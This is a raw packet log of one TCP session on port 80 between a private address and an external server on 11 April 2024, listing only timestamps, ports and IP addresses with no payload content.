Apr 11, 2024 10:39:53.996809959 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996824980 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996848106 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996861935 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996886015 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996897936 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996923923 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996936083 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996961117 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996973991 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996998072 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997013092 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997035980 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997045994 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997072935 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997087002 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997109890 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997119904 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997147083 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997162104 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997184992 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997195959 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997221947 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997235060 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997258902 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997272968 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997297049 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997308016 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997334957 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997348070 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997373104 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997383118 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997410059 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997432947 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997446060 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997462034 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997483015 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997495890 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997520924 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997529984 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997556925 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997571945 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997595072 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997607946 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997632027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997641087 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997685909 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997699976 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997725010 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997742891 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997767925 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997776985 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997806072 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997818947 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997843981 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997855902 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997883081 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997895956 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997920036 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997936010 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997958899 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.997977972 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.997997046 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.998006105 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.998034000 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.998048067 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.998054981 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.998087883 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.998110056 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.023070097 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.023125887 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.023164988 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.023201942 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.023242950 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.023267984 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.023267984 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.023268938 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.023268938 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.023283005 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.023367882 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.023367882 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.333862066 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.333976030 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.333975077 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.334014893 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.334155083 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.334156036 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.334209919 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.334274054 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.334292889 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.334345102 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.334395885 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.334449053 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.334537983 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.334589958 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.334665060 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.334716082 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.334753990 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.334804058 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.334871054 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.334923029 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.334959984 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.334997892 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.335010052 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.335056067 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.335114002 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.335166931 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.335170984 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.335222006 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.335263968 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.335309982 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.335361958 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.335416079 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.335477114 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.335529089 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.335567951 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.335618019 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.335654974 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.335705042 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.335746050 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.335802078 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.335869074 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.335922003 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.335927010 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.335984945 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336004019 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336041927 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336052895 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336081028 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336091042 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336119890 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336133003 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336157084 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336172104 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336195946 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336206913 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336251974 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336255074 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336292982 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336302996 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336333036 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336363077 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336370945 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336389065 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336409092 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336416006 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336446047 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336453915 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336483002 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336491108 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336522102 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336528063 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336560965 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336571932 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336599112 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336608887 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336636066 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336642981 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336673021 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336687088 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336713076 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336724997 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336754084 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336781025 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336791992 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336800098 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336828947 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336839914 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336867094 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336879015 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336904049 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336916924 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336941957 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336954117 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.336980104 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.336990118 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337017059 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337025881 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337054968 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337063074 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337093115 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337104082 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337129116 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337148905 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337167978 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337187052 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337205887 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337224960 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337243080 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337264061 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337280989 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337287903 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337318897 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337332010 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337357998 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337372065 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337394953 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337408066 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337433100 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337445021 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337471962 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337485075 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337508917 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337526083 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337548971 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337553024 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337585926 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337593079 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337624073 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337630033 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337661982 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337672949 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337697983 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337712049 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337738991 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337747097 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337776899 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337790012 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337815046 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337826014 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337852955 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337866068 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337889910 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337905884 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337928057 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337944031 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.337969065 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.337979078 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338006020 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338016987 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338042974 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338054895 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338085890 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338098049 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338124037 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338135958 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338161945 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338175058 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338200092 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338212967 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338238955 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338248968 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338277102 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338287115 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338315010 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338325024 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338352919 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338363886 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338392019 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338402987 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338428974 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338438034 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338468075 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338479042 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338505030 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338519096 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338541985 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338556051 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338582039 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338593960 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338619947 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338632107 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338656902 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338687897 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338696957 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338716030 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338736057 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338742018 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338774920 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338779926 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338813066 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338836908 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338850021 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338866949 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338887930 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338907003 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338923931 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338929892 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338962078 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.338973999 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.338999987 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.339013100 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.339036942 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.339051008 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.339075089 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.339082956 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.339113951 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.339128017 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.339169025 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.672926903 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.672971010 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.672988892 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.673016071 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.673037052 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.673063040 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.673089027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.673115015 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.673131943 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.673149109 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.673147917 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.673147917 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.673166990 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.673187017 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.673204899 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.673235893 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.673235893 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.673258066 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.675743103 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:54.823749065 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:54.824032068 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:55.159645081 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:55.159694910 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:55.159754992 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:55.159809113 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:55.496205091 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:55.496279001 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:55.496318102 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:55.496445894 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:55.496447086 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:55.496447086 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:55.832508087 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:55.832564116 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:55.832603931 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:55.832643032 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:55.832858086 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:55.832858086 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.168154001 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.168318033 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.168363094 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.168400049 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.168404102 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.168442011 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.168483019 CEST	80	49705	103.74.105.78	192.168.2.5
